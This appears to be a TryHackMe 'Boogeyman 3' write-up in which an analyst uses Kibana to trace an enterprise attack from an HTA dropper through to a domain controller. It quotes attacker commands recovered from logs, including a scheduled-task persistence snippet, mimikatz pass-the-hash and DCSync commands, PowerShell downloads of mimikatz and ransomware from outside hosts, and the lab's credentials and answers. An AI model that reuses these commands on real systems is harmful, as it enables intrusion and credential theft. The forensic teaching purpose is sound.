Boogeyman 3 - Multi-Stage Attack Investigation

Boogeyman 3 - TryHackMe Writeup

Advanced Enterprise Attack Investigation & Windows Log Analysis

Windows Event Logs Sysmon Analysis Attack Chain Reconstruction UAC Bypass Lateral Movement DCSync Attack

Published: September 2025 • Estimated reading time: 25 minutes

Overview

  • Difficulty: Medium-Hard
  • Skills Practiced: Advanced Windows Event Log Analysis, Multi-Host Investigation, Attack Timeline Reconstruction, PowerShell Forensics
  • Tools Used: Kibana/ELK Stack, PowerShell Analysis, Base64 Decoding, Multi-system Correlation
  • Time Investment: 3-4 hours

Career Relevance: This room provides comprehensive experience with sophisticated APT-style enterprise attacks including HTA delivery, persistence mechanisms, UAC bypass, credential dumping, lateral movement, and domain controller compromise - essential skills for senior SOC analyst and threat hunting roles in enterprise environments.

Learning Objectives

Boogeyman 3 represents the culmination of the series, presenting a complete enterprise compromise scenario from initial HTA-based access through domain controller takeover and ransomware deployment. This investigation teaches advanced Windows event log analysis, multi-system correlation, and the systematic methodology required for reconstructing complex attack chains in enterprise environments.

Complete Investigation Analysis

Phase 1: Initial Compromise Analysis

Investigation Approach

Started by filtering events containing references to HTML files and the malicious attachment to identify the initial execution chain. Used process tree analysis to understand parent-child relationships across the attack progression.

# Primary search queries ".html" OR "ProjectFinancialSummary_Q3.pdf" # Process analysis winlog.event_id: 1 AND process.name: mshta.exe

Key Findings

1. HTA File Execution
Process: mshta.exe (PID 6392) Parent: explorer.exe (PID 2940) Command: "C:\Windows\SysWOW64\mshta.exe" "D:\ProjectFinancialSummary_Q3.pdf.hta" User: QUICKLOGISTICS\evan.hutchinson

The CEO executed the HTA file through Windows explorer, establishing initial access via HTML Application host.

2. File Implantation Process
Command: "C:\Windows\System32\xcopy.exe" /s /i /e /h D:\review.dat C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat

The malicious payload copied review.dat to the user's temp directory for persistent access.

3. DLL Registration & Persistence
Execution: "C:\Windows\System32\rundll32.exe" D:\review.dat,DllRegisterServer Scheduled Task: "Review" PowerShell: $A = New-ScheduledTaskAction -Execute 'rundll32.exe' -Argument 'C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat,DllRegisterServer' Register-ScheduledTask Review -InputObject $D -Force

The implanted file was executed using rundll32.exe and a scheduled task was created for daily execution at 6:00 AM.

4. C2 Communication
# Network connection analysis winlog.event_id: 3 AND process.name: rundll32.exe Connection: 165.232.170.151:80 Process: rundll32.exe executing review.dat

The implanted file established external command and control communication.

Phase 1 Answers

  • Initial Payload PID: 6392
  • File Implantation Command: "C:\Windows\System32\xcopy.exe" /s /i /e /h D:\review.dat C:\Users\EVAN~1.HUT\AppData\Local\Temp\review.dat
  • Implanted File Execution: "C:\Windows\System32\rundll32.exe" D:\review.dat,DllRegisterServer
  • Scheduled Task Name: Review
  • C2 Connection: 165.232.170.151:80

Phase 2: Privilege Escalation

UAC Bypass Investigation

Searched for privilege escalation by filtering events from the rundll32.exe process executing review.dat and identified subsequent privilege escalation attempts.

# UAC bypass search process.parent.command_line: *review.dat* AND winlog.event_id: 1 # Key finding: fodhelper.exe execution Process: fodhelper.exe Parent: rundll32.exe (executing review.dat)

Research confirmed that fodhelper.exe is a trusted Windows binary that can be exploited for UAC bypass through registry hijacking, allowing privilege escalation without user prompts.

Credential Dumping Tool Download

# Tool download search winlog.event_id: 1 AND process.command_line: *github* # Mimikatz download command: "iwr https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip -outfile mimi.zip"

Phase 2 Answers

  • UAC Bypass Process: fodhelper.exe
  • GitHub Tool Link: https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip

Phase 3: Credential Theft & Lateral Movement

Credential Harvesting

# Credential dumping analysis process.command_line: *mimi* AND *sekurlsa* # Pass-the-hash execution: "C:\Windows\Temp\m\x64\mimi\x64\mimikatz.exe" "sekurlsa::pth /user:itadmin /domain:QUICKLOGISTICS /ntlm:F84769D250EB95EB2D7D8B4A1C5613F2 /run:powershell.exe" exit

File Share Enumeration

# Share enumeration process.command_line: *Invoke-ShareFinder* # File access process.command_line: *ls FileSystem* process.command_line: *cat FileSystem* # IT_Automation.ps1 file accessed from \\WKSTN-1327\ITFiles

Remote System Access

# Lateral movement command "$credential = (New-Object PSCredential -ArgumentList ('QUICKLOGISTICS\allan.smith', (ConvertTo-SecureString 'Tr!ckyP@ssw0rd987' -AsPlainText -Force))) ; Invoke-Command -Credential $credential -ComputerName WKSTN-1327 -ScriptBlock {whoami}" # Investigation on target system host.name: WKSTN-1327 AND winlog.event_id: 1 # Parent process: wsmprovhost.exe (WinRM)

Phase 3 Answers

  • First Credential Pair: itadmin:F84769D250EB95EB2D7D8B4A1C5613F2
  • Remote File Accessed: IT_Automation.ps1
  • New Credentials Found: QUICKLOGISTICS\allan.smith:Tr!ckyP@ssw0rd987
  • Target Hostname: WKSTN-1327
  • Remote Parent Process: wsmprovhost.exe

Phase 4: Domain Controller Compromise

Second System Credential Dumping

# Second system analysis host.name: WKSTN-1327 AND process.command_line: *mimikatz* # Administrator credentials found: administrator:00f80f2538dcb54e7adc715c0e7091ec

Domain Controller Access & DCSync Attack

# Domain controller investigation host.name: DC01.quicklogistics.org AND process.name: mimikatz.exe # DCSync attack: "C:\Users\Administrator\Documents\mimi\x64\mimikatz.exe" "lsadump::dcsync /domain:quicklogistics.org /user:backupda" exit

Ransomware Deployment

# Final stage - ransomware download "iwr http://ff.sillytechninja.io/ransomboogey.exe -outfile ransomboogey.exe"

Phase 4 Answers

  • Second System Admin Hash: administrator:00f80f2538dcb54e7adc715c0e7091ec
  • DCSync Target Account: backupda
  • Ransomware URL: http://ff.sillytechninja.io/ransomboogey.exe

Complete Attack Timeline

Enterprise Compromise Progression

1. Initial Access (Aug 29, 23:51)

HTA file execution → xcopy file implantation → rundll32.exe execution → scheduled task persistence

2. Privilege Escalation (Aug 29, 23:54)

C2 communication → UAC bypass via fodhelper.exe → Mimikatz download

3. Lateral Movement (Aug 30, 00:13)

Credential dumping → pass-the-hash → share enumeration → remote system access

4. Domain Takeover (Aug 30, 01:47)

Second system compromise → domain controller access → DCSync attack

5. Final Impact (Aug 30, 01:53)

Ransomware download → enterprise encryption capability

Key Tools & Career Application

Advanced Investigation Techniques

Multi-System Analysis: Kibana/ELK Stack for cross-system log correlation
Attack Reconstruction: Process tree analysis, timeline development, evidence correlation
Advanced Techniques: PowerShell forensics, base64 decoding, UAC bypass identification

Senior SOC Analyst Capabilities

This investigation demonstrates comprehensive advanced persistent threat analysis capabilities essential for senior cybersecurity roles, including enterprise-scale incident response, sophisticated attack pattern recognition, and multi-stage threat hunting across complex environments.

Investigation Excellence

  • • Complex attack chain reconstruction
  • • Multi-host event correlation
  • • Advanced PowerShell analysis
  • • Systematic timeline development

Threat Hunting

  • • APT technique recognition
  • • Living off the land detection
  • • Persistence mechanism analysis
  • • Lateral movement tracking

Enterprise Security

  • • Domain controller forensics
  • • Credential dumping detection
  • • Ransomware analysis
  • • Impact assessment

Investigation Methodology & Reflection

Systematic Investigation Approach

Boogeyman 3 required a disciplined, systematic approach to reconstruct a sophisticated, multi-stage enterprise attack. The investigation emphasized the critical importance of patient timeline reconstruction, understanding advanced evasion techniques, and maintaining evidence integrity across multiple systems and attack stages.

Critical Technical Insights

  • • Process Genealogy: Understanding complete parent-child process relationships is essential for attack reconstruction
  • • PowerShell Forensics: Base64 decoding and obfuscation analysis are critical for modern threat investigation
  • • Cross-System Correlation: Enterprise attacks require coordinated analysis across multiple compromised systems
  • • Persistence Analysis: Advanced threats use sophisticated mechanisms like scheduled tasks and registry manipulation

Professional Development

  • • Advanced SIEM Mastery: Complex query construction and multi-source log correlation
  • • Threat Intelligence Integration: Mapping observed TTPs to MITRE ATT&CK framework
  • • Incident Response Leadership: Comprehensive investigation documentation and stakeholder communication
  • • Enterprise Architecture: Understanding Active Directory, domain controllers, and enterprise security

Key Takeaways

This investigation provided comprehensive experience with a complete APT-style enterprise compromise, demonstrating the systematic methodology required for advanced threat hunting and incident response in complex corporate environments. The multi-stage attack reconstruction showcases the analytical rigor and technical proficiency essential for senior cybersecurity roles.